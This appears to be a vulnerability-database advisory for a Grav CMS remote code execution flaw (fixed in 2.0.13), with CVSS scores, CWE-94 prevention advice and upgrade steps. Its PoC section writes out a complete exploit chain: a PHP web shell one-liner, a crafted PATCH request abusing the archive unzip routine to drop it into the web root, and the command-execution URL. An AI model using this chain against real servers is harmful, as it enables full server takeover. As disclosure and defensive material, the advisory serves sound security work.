GHSA-r94f-hx44-8jqf CVE-2026-72819
Grav CMS vulnerable to remote code execution via .zip file upload
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.90%
- Chance of exploitation in the next 30 days. Higher than 59.76% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-94 Improper Control of Generation of Code ('Code Injection')
- Fix
2.0.13- Upgrade getgrav/grav to this version or later
Description
Summary
A logged-in user can run any command on the server. A settings field can fill itself by calling one of Grav's built-in routines, and a safety check is supposed to allow only harmless ones. The check only recognises a routine when its name is written as one piece of text; named as a pair of values instead, it is not examined at all and is passed as safe. Pointing such a field at the routine that unpacks ZIP archives writes a PHP file from an uploaded archive into the site's public folder, which the server then runs.
Details
The check rejects known-dangerous routines and, for those belonging to a component, allows only a short approved list. Both of those cases only apply when the name arrives as a single string. The same routine can be named as a pair (the component and the routine inside it), and in that form the check matches neither case, skips both lists and answers "safe". Grav then calls it, with arguments the attacker supplies in the same field. Any routine shipped with Grav becomes callable.
The one used here is what Grav runs when installing a plugin from an archive. It takes an archive and a destination folder. It does check the names of the files inside, so an archive cannot escape with ../, but the destination is used exactly as given, so naming the folder the website is served from drops the contents there. Getting the archive in is trivial: ZIP is an accepted upload type and the files inside are never examined, so an archive containing a PHP file uploads as ordinary media to a predictable address.
Everything is set up over the web. Saving a plugin's settings stores the values as sent, and the Flex Objects plugin treats each entry of its own directory list as the address of a file describing fields. Pointing that list at the settings file being saved makes one file act as both, so the malicious field is created through a normal settings save with no file edited on the server.
PoC
-
Log in at
http://TARGET/login(or/admin). The session cookie is the only credential needed below. -
Build and upload the zip file. In the panel this is the Media tab; it is stored unchanged at
/user/media/evil.zip.Zip the shell.php file with the php code mentioned below:
shell.php: <?php system($_GET['c']); ?> zip evil.zip shell.php -
Send the request (attach your Cookie and X-API-Token):
PATCH /api/v1/config/plugins/flex-objects Content-Type: application/json { "directories": ["user/config/plugins/flex-objects.yaml"], "title": "Pwn", "type": "flex-objects", "config": { "data": { "object": "Grav\\Common\\Flex\\Types\\Generic\\GenericObject", "collection": "Grav\\Common\\Flex\\Types\\Generic\\GenericCollection", "index": "Grav\\Common\\Flex\\Types\\Generic\\GenericIndex", "storage": { "class": "Grav\\Framework\\Flex\\Storage\\SimpleStorage", "options": { "formatter": {"class": "Grav\\Framework\\File\\Formatter\\JsonFormatter"}, "folder": "user-data://flex-objects/pwn.json" } } } }, "form": { "validation": "loose", "fields": { "name": {"type": "text", "label": "Name"}, "pwn": {"type": "text", "label": "pwn", "data-default@": [["Grav\\Common\\GPM\\Installer", "unZip"], "user/media/evil.zip", "/absolute/path/to/grav-docroot"]} } } } -
Trigger it. In the panel, open the new directory and add an object. As a request (attach your Cookie and X-API-Token):
POST /api/v1/flex-objects/flex-objects Content-Type: application/json {"name": "x"} -> 201 -
Open the file that was written:
http://TARGET/shell.php?c=id -> PWNED:uid=1000(kali) gid=1000(kali) ...
Impact
Remote code execution by a logged-in user, so the whole server is compromised. Commands run as the web server's account.
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| getgrav/grav | < 2.0.13 |
2.0.13 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
getgrav/grav Packagist → 2.0.13
- composer
composer require getgrav/grav:^2.0.13
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- Low
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
CVSS 3.1 8.8
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Weakness
CWE-94: Improper Control of Generation of Code ('Code Injection')
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
How to prevent it
- Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
- Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
- Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
- Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-xjw5-q542-3vmr Grav: config_denied_paths default list omits `system`, exposing real secrets (e.g. system.cache.redis.password) via the Twig sandbox when config_access is enabled | High | Also affects getgrav/grav |
| GHSA-3jhr-mxmx-38cx Grav: UserInterface offsetget/offsetexists allow-listed in Twig sandbox let editor-authored content leak hashed_password and 2FA secrets via offsetGet() | Medium | Also affects getgrav/grav |
| GHSA-9ccq-2jfg-qw33 Grav: Origin validation bypass in Uri::referrer() and Pages::referrerRoute() via unanchored prefix match | Critical | Also affects getgrav/grav |
| GHSA-38p6-h87p-r4cg Grav: Non constant time nonce comparison in Utils::verifyNonce() used for CSRF protection | Medium | Also affects getgrav/grav |
| GHSA-p597-crqc-m349 Grav: The system, site, and theme Twig variables bypass the content sandbox entirely and are never covered by config_denied_paths | Medium | Also affects getgrav/grav |
| GHSA-47ch-6w46-6xm7 Grav: media_directory() Twig function allows filesystem path traversal and file content disclosure from sandboxed page content | Medium | Also affects getgrav/grav |
| GHSA-jq29-c7v8-rg55 Grav: Path Traversal in MediaUploadTrait::deleteFile() Allows Arbitrary File Deletion | High | Also affects getgrav/grav |
| GHSA-8hgv-xc77-jmcr Grav: Page editors can inject arbitrary script into rendered pages via the Twig sandbox's assets.addJs/addCss allowlist, escalating to super-admin | Medium | Also affects getgrav/grav |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor